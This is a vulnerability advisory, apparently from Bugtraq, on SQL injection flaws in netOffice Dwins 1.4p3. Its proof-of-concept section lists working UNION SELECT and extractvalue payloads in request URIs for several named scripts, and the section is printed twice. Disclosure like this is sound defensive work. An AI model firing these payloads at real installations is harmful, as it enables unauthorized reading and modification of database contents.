netOffice Dwins Multiple SQL Injection Vulnerabilities
BID:56283
Info
netOffice Dwins Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 56283 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 08 2012 12:00AM |
| Updated: | Oct 08 2012 12:00AM |
| Credit: | dun |
| Vulnerable: |
Luis Wang netOffice Dwins 1.4p3 Luis Wang netOffice Dwins 1.4 |
| Not Vulnerable: | |
Discussion
netOffice Dwins Multiple SQL Injection Vulnerabilities
netOffice Dwins is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions netOffice Dwins 1.4p3 and prior are vulnerable.
netOffice Dwins is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions netOffice Dwins 1.4p3 and prior are vulnerable.
Exploit / POC
netOffice Dwins Multiple SQL Injection Vulnerabilities
An attacker can exploit the issue through a browser
The following example URIs are available:
http://www.example.com/reports/export_leaves.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0--
http://www.example.com/users/exportuser.php?id=-1 union select 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0--
http://www.example.com/reports/export_person_performance.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0--
http://www.example.com/expenses/approveexpense.php?id=-1 union select 0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0--&auth=1&doc=-1 union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--
http://ww.example.com/calendar/exportcalendar.php?id=-1' union select 0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1
http://www.example.com/analysis/expanddimension.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
http://www.example.com/analysis/changedimensionsortingorder.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
An attacker can exploit the issue through a browser
The following example URIs are available:
http://www.example.com/reports/export_leaves.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0--
http://www.example.com/users/exportuser.php?id=-1 union select 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0--
http://www.example.com/reports/export_person_performance.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0--
http://www.example.com/expenses/approveexpense.php?id=-1 union select 0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0--&auth=1&doc=-1 union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--
http://ww.example.com/calendar/exportcalendar.php?id=-1' union select 0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1
http://www.example.com/analysis/expanddimension.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
http://www.example.com/analysis/changedimensionsortingorder.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--
Solution / Fix
netOffice Dwins Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
netOffice Dwins Multiple SQL Injection Vulnerabilities
References:
References:
- netOffice Dwins Homepage (Luis Wang)